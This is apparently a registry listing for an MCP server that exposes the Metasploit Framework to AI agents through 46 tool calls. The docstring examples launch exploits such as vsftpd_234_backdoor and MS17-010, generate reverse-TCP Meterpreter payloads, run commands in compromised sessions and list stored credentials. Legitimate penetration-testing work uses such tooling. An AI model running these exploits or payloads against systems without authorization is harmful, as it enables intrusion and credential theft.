io.github.daedalus/mcp-pymetasploit3
MCP server for Metasploit Framework via pymetasploit3
Versions
0.1.1latestTools 46
connect Connect to Metasploit RPC server. Args: password: The password for authentication. host: The RPC server hostname (default: 127.0.0.1). port: The RPC server port (default: 55553). ssl: Use SSL for connection (default: False). username: The username for authentication (default: msf). Returns: Connection status including authenticated state and server info. Example: >>> connect("mypassword", "192.168.1.100", 55553, True) {"status": "connected", "authenticated": True, "host": "192.168.1.100", "port": 55553}
disconnect Disconnect from Metasploit RPC server. Returns: Disconnection status. Example: >>> disconnect() {"status": "disconnected"}
get_client_info Get current connection status and information. Returns: Current connection details including authentication state. Example: >>> get_client_info() {"connected": True, "authenticated": True, "host": "127.0.0.1", "port": 55553}
list_modules List available modules of a specific type. Args: module_type: The type of module (exploit, auxiliary, payload, post, encoder, nop, evasion). Returns: List of available module names. Example: >>> list_modules("exploit") ["windows/smb/ms17_010_psexec", "unix/ftp/vsftpd_234_backdoor", ...]
use_module Load a specific module for use. Args: module_type: The type of module (exploit, auxiliary, payload, post, encoder, nop). module_name: The full module name (e.g., 'unix/ftp/vsftpd_234_backdoor'). Returns: Module information including description, options, and references. Example: >>> use_module("exploit", "unix/ftp/vsftpd_234_backdoor") {"status": "loaded", "type": "exploit", "name": "unix/ftp/vsftpd_234_backdoor", ...}
get_module_info Get detailed information about a module. Args: module_type: The type of module. module_name: The module name. Returns: Detailed module information including description, author, references. Example: >>> get_module_info("exploit", "unix/ftp/vsftpd_234_backdoor") {"description": "...", "author": [...], "references": [...], ...}
get_module_options Get all options for a module. Args: module_type: The type of module. module_name: The module name. Returns: Dictionary of module options with their properties. Example: >>> get_module_options("exploit", "unix/ftp/vsftpd_234_backdoor") {"RHOSTS": {"type": "addressrange", "required": True, ...}, ...}
set_module_option Set a module option value. Args: module_type: The type of module. module_name: The module name. option: The option name to set. value: The value to set. Returns: Status and current runoptions. Example: >>> set_module_option("exploit", "unix/ftp/vsftpd_234_backdoor", "RHOSTS", "192.168.1.100") {"status": "set", "option": "RHOSTS", "value": "192.168.1.100"}
core_reload_modules Reload all modules in the framework. Returns: Status of the operation. Example: >>> core_reload_modules() {"status": "reloaded"}
get_missing_required Get required options that haven't been set yet. Args: module_type: The type of module. module_name: The module name. Returns: List of missing required options. Example: >>> get_missing_required("exploit", "unix/ftp/vsftpd_234_backdoor") ["RHOSTS"]
execute_module Execute a loaded module. Args: module_type: The type of module. module_name: The module name. payload: Optional payload to use (for exploits). rhosts: Remote target host(s). rport: Remote target port. lhost: Local host for payload callback. lport: Local port for payload callback. verbose: Enable verbose output. Returns: Execution result including job_id and uuid. Example: >>> execute_module("exploit", "unix/ftp/vsftpd_234_backdoor", payload="cmd/unix/interact", rhosts="192.168.1.100") {"job_id": 1, "uuid": "abc123"}
get_module_targets Get available targets for a module. Args: module_type: The type of module. module_name: The module name. Returns: Dictionary of target ID to target name. Example: >>> get_module_targets("exploit", "windows/smb/ms17_010_psexec") {0: "Automatic", 1: "Windows XP SP3 (x86)", ...}
set_module_target Set the target for a module. Args: module_type: The type of module. module_name: The module name. target: The target ID to set. Returns: Status and selected target. Example: >>> set_module_target("exploit", "windows/smb/ms17_010_psexec", 1) {"status": "set", "target": 1}
get_target_payloads Get compatible payloads for a target. Args: module_type: The type of module (exploit). module_name: The module name. target: The target ID (default: 0). Returns: List of compatible payload names. Example: >>> get_target_payloads("exploit", "unix/ftp/vsftpd_234_backdoor", 0) ["cmd/unix/interact"]
generate_payload Generate a payload with the specified options. Args: payload_name: The payload module name (e.g., 'windows/meterpreter/reverse_tcp'). lhost: Local host for reverse connections. lport: Local port for reverse connections. format: Output format (exe, raw, python, etc.). encoder: Encoder module to use. badchars: Characters to avoid in payload. iterations: Number of encoding iterations. Returns: Generated payload data (as base64 string if binary). Example: >>> generate_payload("windows/meterpreter/reverse_tcp", lhost="192.168.1.100", lport=4444) {"payload": "base64encoded...", "format": "exe"}
list_sessions List all active sessions. Returns: Dictionary of session IDs to session information. Example: >>> list_sessions() {"1": {"type": "meterpreter", "session_host": "192.168.1.100", ...}, ...}
get_session_info Get information about a specific session. Args: session_id: The session ID to query. Returns: Session information including type, tunnel, platform, etc. Example: >>> get_session_info("1") {"type": "meterpreter", "session_host": "192.168.1.100", ...}
interact_session Write a command to a session and read the output. Args: session_id: The session ID to interact with. command: The command to execute. Returns: Command output from the session. Example: >>> interact_session("1", "whoami") {"output": "root"}
session_run_command Run a command in a session and wait for output. Args: session_id: The session ID to run the command in. command: The command to execute. terminating_strings: Strings that indicate command completion. timeout: Timeout in seconds (default: 300). timeout_exception: Raise exception on timeout (default: True). Returns: Command output. Example: >>> session_run_command("1", "arp", terminating_strings=["---"]) {"output": "\nARP Table\n---------------"}
stop_session Stop/close a session. Args: session_id: The session ID to stop. Returns: Status of the operation. Example: >>> stop_session("1") {"status": "stopped"}
create_console Create a new Metasploit console. Returns: Console information including console ID. Example: >>> create_console() {"cid": "1", "prompt": "msf6 > "}
destroy_console Destroy a Metasploit console. Args: console_id: The console ID to destroy. Returns: Status of the operation. Example: >>> destroy_console("1") {"status": "destroyed"}
write_console Write a command to a console. Args: console_id: The console ID. command: The command to execute. Returns: Console read result. Example: >>> write_console("1", "show options") {"data": "...", "prompt": "msf6 > "}
read_console Read output from a console. Args: console_id: The console ID. Returns: Console output including data and prompt. Example: >>> read_console("1") {"data": "...", "prompt": "msf6 > ", "busy": False}
console_is_busy Check if a console is currently executing. Args: console_id: The console ID. Returns: Whether the console is busy. Example: >>> console_is_busy("1") {"busy": False}
run_module_output Execute a module and return the output. Args: module_type: The type of module. module_name: The module name. payload: Optional payload to use. rhosts: Remote target host(s). rport: Remote target port. lhost: Local host for payload callback. lport: Local port for payload callback. Returns: Module execution output. Example: >>> run_module_output("exploit", "unix/ftp/vsftpd_234_backdoor", payload="cmd/unix/interact", rhosts="192.168.1.100") {"output": "[*] 192.168.1.100:21 - Banner: 220 vsFTPd..."}
get_framework_version Get Metasploit framework version information. Returns: Version information including version, api, framework, etc. Example: >>> get_framework_version() {"version": "6.4.0", "api": "1.0", "msf": "6.4.0-dev"}
get_db_status Get database connection status. Returns: Database status information. Example: >>> get_db_status() {"driver": "postgresql", "connected": True}
list_jobs List all running jobs. Returns: Dictionary of job IDs to job information. Example: >>> list_jobs() {"0": {"name": "Exploit: unix/ftp/vsftpd_234_backdoor", ...}}
stop_job Stop a running job. Args: job_id: The job ID to stop. Returns: Status of the operation. Example: >>> stop_job("0") {"status": "stopped"}
get_job_info Get information about a specific job. Args: job_id: The job ID. Returns: Job information. Example: >>> get_job_info("0") {"name": "Exploit: unix/ftp/vsftpd_234_backdoor", ...}
list_plugins List currently loaded plugins. Returns: List of loaded plugin names. Example: >>> list_plugins() ["db_connector", "socket_logger"]
load_plugin Load a Metasploit plugin. Args: plugin_name: The name of the plugin to load. Returns: Status of the operation. Example: >>> load_plugin("db_connector") {"status": "loaded"}
unload_plugin Unload a Metasploit plugin. Args: plugin_name: The name of the plugin to unload. Returns: Status of the operation. Example: >>> unload_plugin("db_connector") {"status": "unloaded"}
db_list_workspaces List all workspaces. Returns: List of workspace information. Example: >>> db_list_workspaces() [{"name": "default", "id": 1}, {"name": "project1", "id": 2}]
db_set_workspace Set the current workspace. Args: workspace_name: The name of the workspace to set as current. Returns: Status of the operation. Example: >>> db_set_workspace("project1") {"status": "set", "workspace": "project1"}
db_list_hosts List all hosts in the current workspace. Returns: List of host information. Example: >>> db_list_hosts() [{"host": "192.168.1.100", "state": "alive", ...}]
db_list_services List all services in the current workspace. Returns: List of service information. Example: >>> db_list_services() [{"host": "192.168.1.100", "port": 22, "name": "ssh", ...}]
db_list_notes List all notes in the current workspace. Returns: List of note information. Example: >>> db_list_notes() [{"host": "192.168.1.100", "type": "smb_peer_os", ...}]
db_list_creds List all credentials in the current workspace. Returns: List of credential information. Example: >>> db_list_creds() [{"host": "192.168.1.100", "user": "admin", ...}]
db_list_vulns List all vulnerabilities in the current workspace. Returns: List of vulnerability information. Example: >>> db_list_vulns() [{"host": "192.168.1.100", "name": "vsftpd_234_backdoor", ...}]
core_save Save the current core state. Returns: Status of the operation. Example: >>> core_save() {"status": "saved"}
core_set_global Set a global variable. Args: var: The variable name. value: The variable value. Returns: Status of the operation. Example: >>> core_set_global("LHOST", "192.168.1.100") {"status": "set", "var": "LHOST", "value": "192.168.1.100"}
core_unset_global Unset a global variable. Args: var: The variable name to unset. Returns: Status of the operation. Example: >>> core_unset_global("LHOST") {"status": "unset", "var": "LHOST"}
search_modules Search for modules matching a query. Args: query: The search query string. Returns: List of matching modules with their types. Example: >>> search_modules("smb") [{"type": "exploit", "name": "windows/smb/ms17_010_psexec"}, ...]
get_module_references Get CVE/OSVDB/BID references for a module. Args: module_type: The type of module. module_name: The module name. Returns: List of references (type, value pairs). Example: >>> get_module_references("exploit", "windows/smb/ms17_010_psexec") [["CVE", "2017-0143"], ["MS", "MS17-010"]]
Permissions 0
No permissions indexed yet.